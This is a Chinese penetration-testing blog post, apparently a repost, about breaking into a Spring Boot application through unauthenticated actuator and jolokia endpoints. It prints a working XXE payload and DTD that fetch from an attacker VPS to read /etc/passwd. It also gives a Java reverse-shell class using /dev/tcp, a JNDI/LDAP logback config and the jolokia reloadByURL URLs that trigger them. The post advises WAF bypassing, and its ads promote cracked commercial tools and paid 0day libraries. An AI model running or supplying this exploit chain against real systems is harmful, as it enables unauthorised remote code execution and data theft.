记一次挖洞springboot未授权到反弹shell|挖洞技巧

admin 2025-12-23 15:54:47 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文记录了一次SpringBoot渗透实战,通过分析URL发现actuator与jolokia端点未授权访问。在主域名WAF拦截下,利用JS信息收集找到子域名,成功通过jolokia的reloadByURL方法执行XXE读取文件,并结合JNDI注入反弹shell获取权限。建议完善信息收集并管控敏感端点。 综合评分: 80 文章分类: 渗透测试,实战经验,WEB安全,漏洞分析


cover_image

记一次挖洞springboot未授权到反弹shell|挖洞技巧

漏洞挖掘

渗透安全HackTwo

2024年10月14日 00:01 广东

0x01 前言

      记一次挖洞springboot未授权到反弹shell。起初,尝试了常见的弱口令爆破未果,接着通过分析系统的URL结构,发现了Spring Boot未授权访问的漏洞。在进一步测试后,发现了开放的actuator和jolokia端点,尝试利用XXE和远程代码执行漏洞成功读取系统的文件,并最终通过反弹shell获取了控制权限。

末尾可领取挖洞资料文件

0x02 漏洞发现

拿到授权的目标系统后,进入到一个登录页面。

先拿出admin/123456,admin/admin等弱口令尝试一下,那结果是今天没那么幸运

没有注册页面,想抓个包爆破下账户密码,看到这加密我放弃了

返回登录页面继续搜寻,看着一长串的url,中间部分让我突然感觉一阵熟悉,想到了spring boot未授权访问,刚好最近测过类似的站,尝试下。

拿出springboot漏洞检查小工具扫描,最终,在https://目标域名/acloud-oauth/下扫描出结果,页面显示actuator和jolokia等路由信息开放。

显示开启了jolokia端点且存在reloadByURL方法,那就准备开心的进行jolokia的xxe和远程代码执行漏洞利用。

构建一个xml文件:

<?xml version="1.0" encoding="utf-8" ?><!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://vps_ip/fileread.dtd">%remote;%int;]><a>&trick;</a>

构建一个dtd文件,来读取目标系统的/etc/passwd文件内容:

<!ENTITY % d SYSTEM "file:///etc/passwd"><!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">

利用python开启一个简单http服务,用于调用vps上的xml和dtd文件

python3 -m http.server 80

构造访问链接:

https://目标域名/acloud-oauth/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/vps_ip!/gouzao.xml

复制构造的链接,放入浏览器进行访问,这页面,我瞬间脸都绿了,有waf给拦了,尝试绕一绕,折腾了半天,太菜了,还是给拦住了。

再次返回登录页面,翻翻js看看有没有啥其他收获呢,在末尾,发现3个子域名,为啥开始搜索引擎和工具都没扫出来这几个域名呀,看来这信息收集还是不到位。

访问下,返回401

通过扫描,也发现一些springboot actuator的路由信息。

再次尝试利用xxe漏洞,很幸运,没拦截,看来没waf,成功读取到系统的/etc/passwd文件内容。

接下来,利用代码执行漏洞进行反弹shell,构造exp,进行编译:

import java.io.BufferedReader;import java.io.InputStream;import java.io.InputStreamReader;public class Exploit{ public Exploit() throws Exception { Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/vps_ip/12345;cat <&5 | while read line; do $line2>&5 >&5; done"}); InputStream is = p.getInputStream(); BufferedReader reader = new BufferedReader(newInputStreamReader(is)); String line; while((line = reader.readLine()) != null) { System.out.println(line); } p.waitFor(); is.close(); reader.close(); p.destroy(); } public static void main(String[] args) throws Exception { }}

构造一个xml文件:

<configuration> <insertFromJNDI env-entry-name="ldap://vps_ip:1389/JNDIObject"as="appName" /></configuration>

在vps上利用python启用一个http服务,将xml文件和exp文件放在该目录:

利用 marshalsec-0.0.3-SNAPSHOT-all.jar 启动一个 ldap 服务:

在vps上监听端口

构造访问的链接:

https://目标系统子域名/acloud-oauth/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/vps_ip!/exp.xml

获得反弹shell

0x03 最后

        测试时一定要多尝试弱口令,利用未授权访问、XXE和远程代码执行漏洞,遇到WAF要多绕绕,信息收集一定要全面。喜欢的师傅可以点赞转发支持一下谢谢!

0x04 内部星球VIP介绍-V1.3(福利)

        如果你想学习更多渗透挖洞技术/技巧欢迎加入我们内部星球可获得内部工具字典和享受内部资源,2024HW威胁情报,报包含网上一些付费工具BurpSuite漏洞检测插件,Fofa高级会员,各种账号会员共享。详情直接点击下方链接进入了解,需要加入的直接点击下方链接了解即可,觉得价格高的师傅可后台回复” 星球 “有优惠券名额有限先到先得!内部包含了网上需付费的0day/1day漏洞库,后续资源会更丰富在加入还是低价!(最近即将再次涨价早加入早享受!)

👉点击了解加入–>>内部VIP知识星球福利介绍V1.3版本-星球介绍-HW漏洞威胁情报****

结尾

免责声明

获取方法

回复“app” 获取  app渗透和app抓包教程

回复“渗透字典” 获取 一些字典已重新划分处理(需要内部专属字典可加入星球获取,好字典不对外公开,持续整理中!)

回复“书籍” 获取 网络安全相关经典书籍电子版pdf

最后必看

文章中的案例或工具仅面向合法授权的企业安全建设行为,如您需要测试内容的可用性,请自行搭建靶机环境,勿用于非法行为。如用于其他用途,由使用者承担全部法律及连带责任,与作者和本公众号无关。本项目所有收录的poc均为漏洞的理论判断,不存在漏洞利用过程,不会对目标发起真实攻击和漏洞利用。文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用。如您在使用本工具或阅读文章的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。本工具或文章或来源于网络,若有侵权请联系作者删除,请在24小时内删除,请勿用于商业行为,自行查验是否具有后门,切勿相信软件内的广告!


往期推荐

1. 内部VIP知识星球福利介绍V1.2版本-元旦优惠

2. 最新BurpSuite2023.12.1专业版中英文版下载

3. 最新Nessus2023下载Windows/Linux

4. 最新xray1.9.11高级版下载Windows/Linux

5. 最新HCL AppScan Standard 10.2.128273破解版下载

渗透安全HackTwo

微信号:关注公众号获取

后台回复星球加入:知识星球

扫码关注 了解更多

喜欢的朋友可以点赞转发支持一下


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:渗透安全HackTwo 漏洞挖掘《记一次挖洞springboot未授权到反弹shell|挖洞技巧》

评论:0   参与:  0